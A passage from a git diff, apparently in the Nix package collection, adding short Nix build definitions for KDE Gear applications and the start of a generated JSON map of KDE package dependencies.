+mkKdeDerivation { + pname = "picmi"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/pim-data-exporter/default.nix b/pkgs/kde/gear/pim-data-exporter/default.nix new file mode 100644 index 0000000000000..da2097f46763e --- /dev/null +++ b/pkgs/kde/gear/pim-data-exporter/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "pim-data-exporter"; +} diff --git a/pkgs/kde/gear/pim-sieve-editor/default.nix b/pkgs/kde/gear/pim-sieve-editor/default.nix new file mode 100644 index 0000000000000..66df720163214 --- /dev/null +++ b/pkgs/kde/gear/pim-sieve-editor/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "pim-sieve-editor"; +} diff --git a/pkgs/kde/gear/pimcommon/default.nix b/pkgs/kde/gear/pimcommon/default.nix new file mode 100644 index 0000000000000..ddb467638c65a --- /dev/null +++ b/pkgs/kde/gear/pimcommon/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "pimcommon"; + + extraBuildInputs = [qttools]; +} diff --git a/pkgs/kde/gear/plasmatube/default.nix b/pkgs/kde/gear/plasmatube/default.nix new file mode 100644 index 0000000000000..db28e47c78c86 --- /dev/null +++ b/pkgs/kde/gear/plasmatube/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtquick3d, + qtsvg, + purpose, + pkg-config, + mpv, +}: +mkKdeDerivation { + pname = "plasmatube"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtquick3d qtsvg mpv]; + extraPropagatedBuildInputs = [purpose]; +} diff --git a/pkgs/kde/gear/poxml/default.nix b/pkgs/kde/gear/poxml/default.nix new file mode 100644 index 0000000000000..3c22e5e4b1e95 --- /dev/null +++ b/pkgs/kde/gear/poxml/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "poxml"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/qmlkonsole/default.nix b/pkgs/kde/gear/qmlkonsole/default.nix new file mode 100644 index 0000000000000..c48dbad18204b --- /dev/null +++ b/pkgs/kde/gear/qmlkonsole/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "qmlkonsole"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/rocs/default.nix b/pkgs/kde/gear/rocs/default.nix new file mode 100644 index 0000000000000..73e7143f8df00 --- /dev/null +++ b/pkgs/kde/gear/rocs/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + boost, +}: +mkKdeDerivation { + pname = "rocs"; + + extraBuildInputs = [boost]; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/signon-kwallet-extension/default.nix b/pkgs/kde/gear/signon-kwallet-extension/default.nix new file mode 100644 index 0000000000000..15900552d50f7 --- /dev/null +++ b/pkgs/kde/gear/signon-kwallet-extension/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + pkg-config, + signond, +}: +mkKdeDerivation { + pname = "signon-kwallet-extension"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [signond]; + + # NB: not actually broken, just makes it install to $out instead of $signon/lib/extensions + # This is useless without a wrapped signond. + # FIXME: wrap signond with SSO_EXTENSIONS_DIR=$wrapper/lib/extensions + extraCmakeFlags = ["-DINSTALL_BROKEN_SIGNON_EXTENSION=1"]; +} diff --git a/pkgs/kde/gear/skanlite/default.nix b/pkgs/kde/gear/skanlite/default.nix new file mode 100644 index 0000000000000..c64594d3fd096 --- /dev/null +++ b/pkgs/kde/gear/skanlite/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qt5compat, +}: +mkKdeDerivation { + pname = "skanlite"; + + extraBuildInputs = [qt5compat]; +} diff --git a/pkgs/kde/gear/skanpage/default.nix b/pkgs/kde/gear/skanpage/default.nix new file mode 100644 index 0000000000000..a7352da8466c0 --- /dev/null +++ b/pkgs/kde/gear/skanpage/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + tesseractLanguages ? [], + tesseract5, + leptonica, +}: +mkKdeDerivation { + pname = "skanpage"; + + extraBuildInputs = [ + (tesseract5.override {enableLanguages = tesseractLanguages;}) + leptonica + ]; +} diff --git a/pkgs/kde/gear/spectacle/default.nix b/pkgs/kde/gear/spectacle/default.nix new file mode 100644 index 0000000000000..1b5539230cbd3 --- /dev/null +++ b/pkgs/kde/gear/spectacle/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtwayland, + qtmultimedia, +}: +mkKdeDerivation { + pname = "spectacle"; + + extraBuildInputs = [qtwayland qtmultimedia]; +} diff --git a/pkgs/kde/gear/step/default.nix b/pkgs/kde/gear/step/default.nix new file mode 100644 index 0000000000000..7e403a24d902b --- /dev/null +++ b/pkgs/kde/gear/step/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + qttools, + qtsvg, + pkg-config, + eigen, + shared-mime-info, + gsl, + libqalculate, +}: +mkKdeDerivation { + pname = "step"; + + extraNativeBuildInputs = [qttools qtsvg pkg-config shared-mime-info]; + extraBuildInputs = [eigen gsl libqalculate]; +} diff --git a/pkgs/kde/gear/svgpart/default.nix b/pkgs/kde/gear/svgpart/default.nix new file mode 100644 index 0000000000000..44f25d0312b15 --- /dev/null +++ b/pkgs/kde/gear/svgpart/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "svgpart"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/sweeper/default.nix b/pkgs/kde/gear/sweeper/default.nix new file mode 100644 index 0000000000000..f914ce9574be4 --- /dev/null +++ b/pkgs/kde/gear/sweeper/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + plasma-activities-stats, +}: +mkKdeDerivation { + pname = "sweeper"; + + extraBuildInputs = [plasma-activities-stats]; +} diff --git a/pkgs/kde/gear/telly-skout/default.nix b/pkgs/kde/gear/telly-skout/default.nix new file mode 100644 index 0000000000000..c19ecf6b42d70 --- /dev/null +++ b/pkgs/kde/gear/telly-skout/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "telly-skout"; +} diff --git a/pkgs/kde/gear/tokodon/default.nix b/pkgs/kde/gear/tokodon/default.nix new file mode 100644 index 0000000000000..464f354f41edd --- /dev/null +++ b/pkgs/kde/gear/tokodon/default.nix @@ -0,0 +1,17 @@ +{ + mkKdeDerivation, + pkg-config, + qtmultimedia, + qtsvg, + qtwebsockets, + qtwebview, + mpv, + kitemmodels, + sonnet, +}: +mkKdeDerivation { + pname = "tokodon"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtmultimedia qtsvg qtwebsockets qtwebview mpv kitemmodels sonnet]; +} diff --git a/pkgs/kde/gear/umbrello/default.nix b/pkgs/kde/gear/umbrello/default.nix new file mode 100644 index 0000000000000..6aca83a9e825c --- /dev/null +++ b/pkgs/kde/gear/umbrello/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "umbrello"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/yakuake/default.nix b/pkgs/kde/gear/yakuake/default.nix new file mode 100644 index 0000000000000..420ec08f670be --- /dev/null +++ b/pkgs/kde/gear/yakuake/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "yakuake"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/zanshin/default.nix b/pkgs/kde/gear/zanshin/default.nix new file mode 100644 index 0000000000000..357b6963ff09f --- /dev/null +++ b/pkgs/kde/gear/zanshin/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + boost, +}: +mkKdeDerivation { + pname = "zanshin"; + + extraBuildInputs = [boost]; +} diff --git a/pkgs/kde/generated/dependencies.json b/pkgs/kde/generated/dependencies.json new file mode 100644 index 0000000000000..57d3a96728ac4 --- /dev/null +++ b/pkgs/kde/generated/dependencies.json @@ -0,0 +1,6133 @@ +{ + "dependencies": { + "accessibility-inspector": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "ki18n", + "kxmlgui", + "libqaccessibilityclient" + ], + "akonadi": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "ki18n", + "kiconthemes", + "kio", + "kitemmodels", + "kwidgetsaddons", + "kxmlgui" + ], + "akonadi-calendar": [ + "akonadi", + "akonadi-contacts", + "akonadi-mime", + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kcontacts", + "kdbusaddons", + "kidentitymanagement", + "kmailtransport", + "knotifications", + "messagelib" + ], + "akonadi-calendar-tools": [ + "akonadi", + "akonadi-calendar", + "calendarsupport", + "extra-cmake-modules", + "kcalendarcore" + ], + "akonadi-contacts": [ + "akonadi", + "extra-cmake-modules", + "grantleetheme", + "kcodecs", + "kcontacts", + "kmime", + "ktextaddons", + "ktexttemplate", + "prison" + ], + "akonadi-import-wizard": [ + "akonadi", + "extra-cmake-modules", + "kcontacts", + "kidentitymanagement", + "kmailtransport", + "mailcommon", + "mailimporter", + "messagelib", + "pimcommon", + "qtkeychain" + ], + "akonadi-mime": [ + "akonadi", + "extra-cmake-modules", + "kmime" + ], + "akonadi-notes": [ + "akonadi", + "extra-cmake-modules", + "kmime" + ], + "akonadi-search": [ + "akonadi", + "akonadi-mime", + "extra-cmake-modules", + "kcalendarcore", + "kcmutils", + "kcontacts", + "kmime", + "krunner", + "ktextaddons" + ], + "akonadiclient": [ + "akonadi", + "akonadi-contacts", + "extra-cmake-modules", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "kmime" + ], + "akonadiconsole": [ + "akonadi", + "akonadi-contacts", + "akonadi-mime", + "akonadi-search", + "calendarsupport", + "extra-cmake-modules", + "kcalendarcore", + "kcontacts", + "kimap", + "kmime", + "libkdepim", + "messagelib" + ], + "akregator": [ + "extra-cmake-modules", + "grantleetheme", + "kcodecs", + "kontactinterface", + "kstatusnotifieritem", + "ktextaddons", + "kuserfeedback", + "libkdepim", + "messagelib", + "pimcommon" + ], + "alkimia": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kcoreaddons", + "ki18n", + "kiconthemes", + "kio", + "knewstuff", + "ktextwidgets", + "kxmlgui", + "libplasma" + ], + "alligator": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "syndication" + ], + "alpaka": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kguiaddons", + "ki18n", + "kirigami", + "kstatusnotifieritem", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "amarok": [ + "attica", + "extra-cmake-modules", + "karchive", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdeclarative", + "kdnssd", + "kdoctools", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "knewstuff", + "knotifications", + "kpackage", + "ktexteditor", + "kwidgetsaddons", + "kwindowsystem", + "phonon", + "qca", + "solid", + "threadweaver" + ], + "amor": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "analitza": [ + "extra-cmake-modules" + ], + "angelfish": [ + "extra-cmake-modules", + "futuresql", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "knotifications", + "kwindowsystem", + "purpose", + "qqc2-desktop-style" + ], + "arianna": [ + "baloo", + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kfilemetadata", + "ki18n", + "kirigami", + "kirigami-addons", + "kquickcharts", + "kwindowsystem", + "qqc2-desktop-style" + ], + "ark": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kfilemetadata", + "ki18n", + "kiconthemes", + "kio", + "kparts", + "kpty", + "kservice", + "kwidgetsaddons", + "kwindowsystem" + ], + "arkade": [ + "extra-cmake-modules", + "ki18n", + "kirigami", + "kpackage" + ], + "artikulate": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcrash", + "ki18n", + "kirigami", + "knewstuff" + ], + "atcore": [ + "extra-cmake-modules" + ], + "atlantik": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "knotifications", + "knotifyconfig", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "attica": [ + "extra-cmake-modules" + ], + "audex": [ + "extra-cmake-modules", + "kcmutils", + "kcompletion", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kiconthemes", + "kio", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkcddb", + "solid" + ], + "audiocd-kio": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kdoctools", + "ki18n", + "kio", + "libkcddb", + "libkcompactdisc" + ], + "aura-browser": [ + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdeclarative", + "ki18n", + "kio", + "kjobwidgets", + "knotifications", + "kpackage", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "libplasma", + "plasma-workspace", + "solid" + ], + "baloo": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kfilemetadata", + "ki18n", + "kidletime", + "kio", + "solid" + ], + "baloo-widgets": [ + "baloo", + "extra-cmake-modules", + "kconfig", + "kfilemetadata", + "ki18n", + "kio" + ], + "basket": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kfilemetadata", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "knotifications", + "kparts", + "kservice", + "ktextwidgets", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "phonon" + ], + "blinken": [ + "extra-cmake-modules", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kxmlgui", + "phonon" + ], + "bluedevil": [ + "bluez-qt", + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kitemviews", + "kjobwidgets", + "knotifications", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libplasma", + "solid" + ], + "bluez-qt": [ + "extra-cmake-modules" + ], + "bomber": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "bovo": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "breeze": [ + "extra-cmake-modules", + "frameworkintegration", + "kcmutils", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kdecoration", + "kguiaddons", + "ki18n", + "kiconthemes", + "kirigami", + "kwindowsystem" + ], + "breeze-gtk": [ + "breeze", + "extra-cmake-modules" + ], + "breeze-icons": [ + "extra-cmake-modules" + ], + "breeze-plymouth": [ + "extra-cmake-modules" + ], + "calendarsupport": [ + "akonadi", + "akonadi-calendar", + "akonadi-notes", + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kholidays", + "kidentitymanagement", + "kmime", + "ktextaddons" + ], + "calindori": [ + "extra-cmake-modules", + "kcalendarcore", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "knotifications", + "kpeople" + ], + "calligra": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdiagram", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "kjobwidgets", + "knotifications", + "knotifyconfig", + "kparts", + "ktextwidgets", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "plasma-activities", + "sonnet", + "threadweaver" + ], + "calligraplan": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kdiagram", + "kguiaddons", + "kholidays", + "ki18n", + "kiconthemes", + "kio", + "kitemmodels", + "kitemviews", + "kjobwidgets", + "knotifications", + "kparts", + "ktextwidgets", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "plasma-activities", + "threadweaver" + ], + "cantor": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "knewstuff", + "kparts", + "ktexteditor", + "ktextwidgets", + "kxmlgui", + "syntax-highlighting" + ], + "cervisia": [ + "extra-cmake-modules", + "kdesu", + "kdoctools", + "ki18n", + "kiconthemes", + "kitemviews", + "knotifications", + "kparts", + "ktextwidgets", + "kwidgetsaddons" + ], + "choqok": [ + "extra-cmake-modules", + "kcmutils", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "kglobalaccel", + "ki18n", + "kio", + "knotifications", + "knotifyconfig", + "ktextwidgets", + "kwallet", + "kwidgetsaddons", + "kxmlgui", + "purpose", + "sonnet" + ], + "codevis": [ + "extra-cmake-modules", + "kcmutils", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "knewstuff", + "ktexteditor", + "ktextwidgets", + "kuserfeedback", + "plasma-activities" + ], + "colord-kde": [ + "extra-cmake-modules", + "kcmutils", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kitemmodels", + "kwidgetsaddons", + "kwindowsystem" + ], + "croutons": [ + "extra-cmake-modules" + ], + "daykountdown": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kio", + "kirigami", + "kwidgetsaddons" + ], + "digikam": [ + "extra-cmake-modules", + "kcalendarcore", + "kconfig", + "kcoreaddons", + "ki18n", + "kiconthemes", + "kimageformats", + "kio", + "knotifications", + "knotifyconfig", + "kservice", + "kwindowsystem", + "kxmlgui", + "solid", + "threadweaver" + ], + "discover": [ + "appstream-qt", + "attica", + "extra-cmake-modules", + "karchive", + "kauth", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "ki18n", + "kidletime", + "kio", + "kirigami-addons", + "knewstuff", + "knotifications", + "kservice", + "kstatusnotifieritem", + "kuserfeedback", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "packagekit-qt", + "purpose", + "selenium-webdriver-at-spi" + ], + "dolphin": [ + "baloo", + "baloo-widgets", + "extra-cmake-modules", + "kbookmarks", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kfilemetadata", + "ki18n", + "kiconthemes", + "kio", + "kio-extras", + "knewstuff", + "knotifications", + "kparts", + "ktextwidgets", + "kuserfeedback", + "kwindowsystem", + "packagekit-qt", + "phonon", + "plasma-activities", + "solid" + ], + "dolphin-plugins": [ + "dolphin", + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kio", + "kservice", + "ktexteditor", + "ktextwidgets", + "kxmlgui", + "solid" + ], + "dragon": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kjobwidgets", + "kparts", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "phonon", + "solid" + ], + "drkonqi": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kidletime", + "kio", + "kitemmodels", + "kjobwidgets", + "knotifications", + "kservice", + "kstatusnotifieritem", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "solid", + "syntax-highlighting" + ], + "elf-dissector": [ + "extra-cmake-modules" + ], + "elisa": [ + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "kfilemetadata", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "kxmlgui", + "qqc2-desktop-style" + ], + "eloquens": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami" + ], + "eventviews": [ + "akonadi", + "akonadi-calendar", + "calendarsupport", + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kconfigwidgets", + "kdiagram", + "kmime", + "libkdepim" + ], + "falkon": [ + "karchive", + "kcoreaddons", + "kcrash", + "ki18n", + "kio", + "kwallet", + "purpose" + ], + "ffmpegthumbs": [ + "extra-cmake-modules", + "kconfig", + "kio" + ], + "fielding": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami" + ], + "filelight": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "kirigami-addons", + "kxmlgui" + ], + "flatpak-kcm": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kitemmodels" + ], + "frameworkintegration": [ + "appstream-qt", + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kconfigwidgets", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "knewstuff", + "knotifications", + "kpackage", + "kwidgetsaddons", + "oxygen-icons" + ], + "francis": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "knotifications", + "kwindowsystem", + "qqc2-desktop-style" + ], + "futuresql": [ + "extra-cmake-modules" + ], + "gcompris": [ + "extra-cmake-modules" + ], + "ghostwriter": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kxmlgui", + "sonnet" + ], + "glaxnimate": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kxmlgui" + ], + "gpgme": [ + "libgpg-error" + ], + "granatier": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "grantlee-editor": [ + "akonadi-contacts", + "extra-cmake-modules", + "grantleetheme", + "kimap", + "ktextaddons", + "ktexttemplate", + "messagelib", + "pimcommon" + ], + "grantleetheme": [ + "extra-cmake-modules", + "kcolorscheme", + "kguiaddons", + "ki18n", + "kiconthemes", + "knewstuff", + "ktexttemplate", + "kxmlgui" + ], + "gwenview": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kitemmodels", + "knewstuff", + "knotifications", + "kparts", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libkdcraw", + "phonon", + "plasma-activities", + "purpose", + "wayland", + "wayland-protocols" + ], + "haruna": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kfilemetadata", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "mpvqt" + ], + "hash-o-matic": [ + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "kwindowsystem", + "libkleo", + "qqc2-desktop-style" + ], + "heaptrack": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kdiagram", + "ki18n", + "kiconthemes", + "kio", + "kitemmodels", + "threadweaver" + ], + "incidenceeditor": [ + "akonadi", + "akonadi-mime", + "calendarsupport", + "eventviews", + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kdiagram", + "kidentitymanagement", + "kldap", + "kmime", + "kpimtextedit", + "libkdepim", + "pimcommon" + ], + "index-fm": [ + "extra-cmake-modules", + "ki18n", + "kio", + "knotifications", + "kservice", + "mauikit", + "mauikit-filebrowsing" + ], + "isoimagewriter": [ + "extra-cmake-modules", + "karchive", + "kauth", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kiconthemes", + "kwidgetsaddons", + "solid" + ], + "itinerary": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcontacts", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kfilemetadata", + "khealthcertificate", + "kholidays", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "kitemmodels", + "kitinerary", + "knotifications", + "kosmindoormap", + "kpkpass", + "kpublictransport", + "kunitconversion", + "kwindowsystem", + "libquotient", + "networkmanager-qt", + "prison", + "qqc2-desktop-style" + ], + "juk": [ + "kcompletion", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "knotifications", + "kstatusnotifieritem", + "ktextwidgets", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "phonon" + ], + "k3b": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kconfig", + "kcoreaddons", + "kdoctools", + "kfilemetadata", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "knewstuff", + "knotifications", + "knotifyconfig", + "kwidgetsaddons", + "kxmlgui", + "libkcddb", + "solid" + ], + "kaccounts-integration": [ + "accounts-qt", + "extra-cmake-modules", + "kcmutils", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kwallet", + "qcoro", + "signond" + ], + "kaccounts-providers": [ + "extra-cmake-modules", + "kaccounts-integration", + "ki18n", + "kio", + "kpackage" + ], + "kactivitymanagerd": [ + "extra-cmake-modules", + "kauth", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kglobalaccel", + "ki18n", + "kio", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "kaddressbook": [ + "akonadi", + "akonadi-contacts", + "akonadi-search", + "extra-cmake-modules", + "grantleetheme", + "kontactinterface", + "kuserfeedback", + "libkdepim", + "pimcommon" + ], + "kajongg": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "libkmahjongg" + ], + "kalarm": [ + "akonadi", + "akonadi-contacts", + "akonadi-mime", + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcontacts", + "kcrash", + "kdbusaddons", + "kglobalaccel", + "kguiaddons", + "kholidays", + "ki18n", + "kidentitymanagement", + "kio", + "kitemmodels", + "kjobwidgets", + "kmailtransport", + "kmime", + "knotifications", + "knotifyconfig", + "kservice", + "kstatusnotifieritem", + "ktextaddons", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "phonon" + ], + "kalgebra": [ + "analitza", + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui", + "libplasma" + ], + "kalk": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kirigami", + "kunitconversion" + ], + "kalm": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kirigami", + "kirigami-addons" + ], + "kalternatives": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kiconthemes", + "kio", + "kwidgetsaddons" + ], + "kalzium": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "kitemviews", + "knewstuff", + "kplotting", + "ktextwidgets", + "kunitconversion", + "kwidgetsaddons", + "kxmlgui" + ], + "kamera": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kdoctools", + "ki18n", + "kio", + "kxmlgui" + ], + "kamoso": [ + "extra-cmake-modules", + "kconfig", + "kdoctools", + "ki18n", + "kio", + "knotifications", + "purpose" + ], + "kanagram": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "knewstuff", + "kxmlgui", + "libkeduvocdocument", + "sonnet" + ], + "kapidox": [ + "extra-cmake-modules" + ], + "kapman": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kapptemplate": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio" + ], + "karchive": [ + "extra-cmake-modules" + ], + "kasts": [ + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "qtkeychain", + "syndication", + "threadweaver" + ], + "kasync": [ + "extra-cmake-modules" + ], + "kate": [ + "breeze-icons", + "extra-cmake-modules", + 